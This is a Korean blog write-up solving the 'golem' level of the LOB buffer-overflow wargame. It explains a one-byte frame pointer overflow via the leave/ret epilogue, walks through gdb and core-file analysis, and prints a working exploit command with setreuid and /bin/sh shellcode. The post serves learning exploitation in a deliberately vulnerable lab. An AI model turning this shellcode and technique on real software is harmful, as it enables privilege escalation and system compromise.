티스토리 뷰

포너블/LOB

LOB golem 풀이

삼전동해커 2020. 9. 3. 22:56

golem을 풀어보장.



main함수가 있고 problem_child함수를 이용해 argv[1]을 인자로 전달하고, strncpy함수는 이를 buffer에 복사한다. 근데 strncpy함수에서 이상하게 41바이트를 복사한다. buffer크기는 40바이트인데.


FPO라고 힌트를 줬다.

FPO란 Frame Pointer Overflow의 줄임말이다. SFP overflow나 1byte overflow라고도 불린다.


FPO를 알기전에 함수의 에필로그인 leave와 ret명령어를 제대로 이해 해야한다.

leave 명령어는 

move $esp,$ebp

pop $ebp

두개 명령을 줄인 것이다.


mov $esp,$ebp 명령어로 현재 함수의 SFP시작위치에 있는 ebp와 스택 끝자락에 있던 esp를 같은 위치에 둔다.

pop $ebp명령어로 ebp가 가리키던 SFP에 있던 명령을 실행해 이전 함수의 SFP에 위치하고, esp는 4바이트 위로 올라가 RET를 가리킨다.


다음으로 ret명령은 pop eip,jmp eip명령이다.

pop eip로 esp가 가리키는 값을 eip에 넣고,jmp eip로 esp가 가리키던 값인 RET의 주소로 jmp한다.

즉, 함수를 끝내고 이전 함수로 돌아가는 것이다.


함수의 ebp가 가리키던 SFP에 있던 값을 통해 이전 함수의 SFP로 이동했는데, 여기서 ebp가 가리키던 SFP의 값을 다른 값으로 주면 FPO를 실행할 수 있다.


문제 풀면서 더 보자.


여기 블로그에 더 자세한 설명 있음.


https://c0wb3ll.tistory.com/entry/LOB-golem-darkknight


tmp 디렉토리를 만들고, darkkinght를 복사한 후, gdb로 problem_child의 leave에 break문을 걸자.


그리고 이렇게 실행을 해준다.



buffer를 A로 채운다. 그리고 buffer의 위치를 찾아본다.






여기서 확인할건 2가지가 있다.

1.0xbffffc50의 값인 0xbffffc54

2.SFP의 값인 0xbffffc41


1.

0xbffffc50의 값인 0xbffffc54는 바로 buffer의 시작주소이다. 즉, esp-4인 0xbffffc50은 buffer의 시작위치를 가리키는 포인터인 것이였다.


2.

0xbffffc41의 마지막 1바이트 41을 수정하는 것이 FPO의 목적이다. 원래는 41이 아니라 ret의 주소인 0xbffffc80을 담고 있었을 것이다.


만약 우리가 SFP에 쉘코드가 담겨있는 주소를 넣으면?


그럼 쉘코드를 실행할 수 있다.

대신 1바이트만 수정할 수 있으니 0xbffffc_ _ 로 시작하는 위치에 쉘코드가 있어야한다.

아까 알아낸 buffer로 갈수 있는 포인터인 0xbffff50을 이용할 수 있겠다.


그럼 쉘코드는 어디에 올려둘까?

buffer에 올려도 되고, argv[1]에 넣어도 된다.


argv[1]에 올리면 argv[1]의 주소를 알아야한다.

분명 어떤 주소를 넣어도 core파일에서 찾아 다시 넣어야 하니 core파일을 먼저 만들자.


./darkknight `python -c 'print"\xff\xff\xff\xff"*10+"\xcc"+"\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


을 실행해 core 파일을 만든 후 core파일을 확인해보면




argv[1]의 주소를 알아냈다.

대충 0xbffffd94로 잡아주자.


종합을 해보면

1.SFP수정을 통해 ebp를 조작한다.

2.되돌아갈 위치를 정해준다.(esp-4인 포인터)

3.buffer에 argv[1]위치를 넣어주어 쉘코드가 실행되도록한다.



그럼 익스플로잇은    

./darkkinght `python -c 'print"\x94\xfd\xff\xbf"+"\x50"+\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


이렇게 되겠다. "\x50"이 SFP수정을 위한 1바이트이다.



풀렸다.

'포너블 > LOB' 카테고리의 다른 글

LOB bugbear 풀이  (0) 2020.09.09
LOB darkknight풀이  (0) 2020.09.08
LOB skeleton 풀이  (0) 2020.08.30
LOB vampire 풀이  (0) 2020.08.26
LOB troll 풀이  (0) 2020.08.25
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함